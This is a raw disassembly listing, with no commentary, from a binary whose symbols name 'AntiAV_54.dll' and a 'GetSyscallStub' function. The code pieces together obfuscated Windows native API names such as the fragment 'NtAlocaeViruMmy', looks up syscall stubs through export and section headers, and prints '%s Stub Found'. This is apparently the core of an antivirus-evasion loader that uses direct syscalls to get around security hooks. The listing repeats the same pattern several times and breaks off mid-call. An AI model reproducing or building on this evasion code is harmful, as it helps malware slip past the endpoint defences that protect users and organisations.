call fcn.6c6f0900
lea rdx, [rbp + 0x22cf]
lea rax, [rbp + 0x22a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x6c73d40b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2260]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2220]
lea rdx, [rbp + 0x2240]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2220]
lea r8, [0x6c73d3f9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x21e0]
lea rdx, [rbp + 0x2200]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x21c0]
lea rdx, [rbp + 0x21e0]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x21a0]
lea rdx, [rbp + 0x21c0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2180]
lea rdx, [rbp + 0x21a0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2160]
lea rdx, [rbp + 0x2180]
lea r8, [0x6c73d403]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2140]
lea rdx, [rbp + 0x2160]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
lea r8, [0x6c73d3fb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x6c73d3fd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x6c73d3cd]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2080]
lea rdx, [rbp + 0x20a0]
lea r8, [0x6c73d3ff]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x2080]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2140]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2160]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2180]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x21a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x21c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x21e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2200]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x22cf]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x22d0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x22d0]
mov rcx, qword [rbp + 0x2ea8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x22d0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c687110
lea rbx, [0x6c73d3d7]
jmp 0x6c687117
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x24ff]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x24ff]
lea rax, [rbp + 0x24d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x6c73d421]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2450]
lea rdx, [rbp + 0x2470]
lea r8, [0x6c73d3bf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2430]
lea rdx, [rbp + 0x2450]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2410]
lea rdx, [rbp + 0x2430]
lea r8, [0x6c73d3d5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x23f0]
lea rdx, [rbp + 0x2410]
lea r8, [0x6c73d401]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x23d0]
lea rdx, [rbp + 0x23f0]
lea r8, [0x6c73d403]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x6c73d3cf]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2310]
lea rdx, [rbp + 0x2330]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x22f0]
lea rdx, [rbp + 0x2310]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x22f0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x23b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x23d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x23f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2410]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2430]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x24ff]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x2500]
mov rcx, qword [rbp + 0x2ea0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c6874a8
lea rbx, [0x6c73d3d7]
jmp 0x6c6874af
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x26cf]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x26cf]
lea rax, [rbp + 0x26a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x6c73d411]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x6c73d41d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x6c73d40b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x2520]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x26a0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x26cf]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x26d0]
mov rcx, qword [rbp + 0x2e98]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.AntiAV_54.dll_GetSyscallStub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char______IMAGE_EXPORT_DIRECTORY__void___IMAGE_SECTION_HEADER___IMAGE_SECTION_HEADER__void_
mov dword [rbp + 0x2e4c], eax
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.6c726110
cmp dword [rbp + 0x2e4c], 0
je 0x6c6877bc
lea rbx, [0x6c73d3d7]
jmp 0x6c6877c3
lea rbx, [0x6c73d3dc]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c6b05f0
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.6c6813d0
lea rax, [rbp + 0x293f]
mov rcx, rax
call fcn.6c6f0900
lea rdx, [rbp + 0x293f]
lea rax, [rbp + 0x2910]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x28f0]
lea rdx, [rbp + 0x2910]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x28d0]
lea rdx, [rbp + 0x28f0]
lea r8, [0x6c73d3d1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x28b0]
lea rdx, [rbp + 0x28d0]
lea r8, [0x6c73d3c5]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2890]
lea rdx, [rbp + 0x28b0]
lea r8, [0x6c73d41d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2870]
lea rdx, [rbp + 0x2890]
lea r8, [0x6c73d3c9]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2850]
lea rdx, [rbp + 0x2870]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2830]
lea rdx, [rbp + 0x2850]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x6c73d423]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x6c73d411]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x6c73d41b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x6c73d40b]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2790]
lea rdx, [rbp + 0x27b0]
lea r8, [0x6c73d3c7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x6c73d3c3]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x6c73d3bb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x6c73d3cb]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x6c73d3c1]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x6c73d40d]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x26f0]
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.6c726150
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2790]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x27b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x27d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x27f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2810]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2830]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2850]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2870]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2890]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x28b0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x28d0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x28f0]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x2910]
mov rcx, rax
call fcn.6c726110
lea rax, [rbp + 0x293f]
mov rcx, rax
call fcn.6c6f0930
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.6c725bd0
mov r9, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e78]
mov rdx, qword [rbp + 0x2e50]
lea rax, [rbp + 0x2940]
mov rcx, qword [rbp + 0x2e90]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x20], rcx
mov rcx, rax
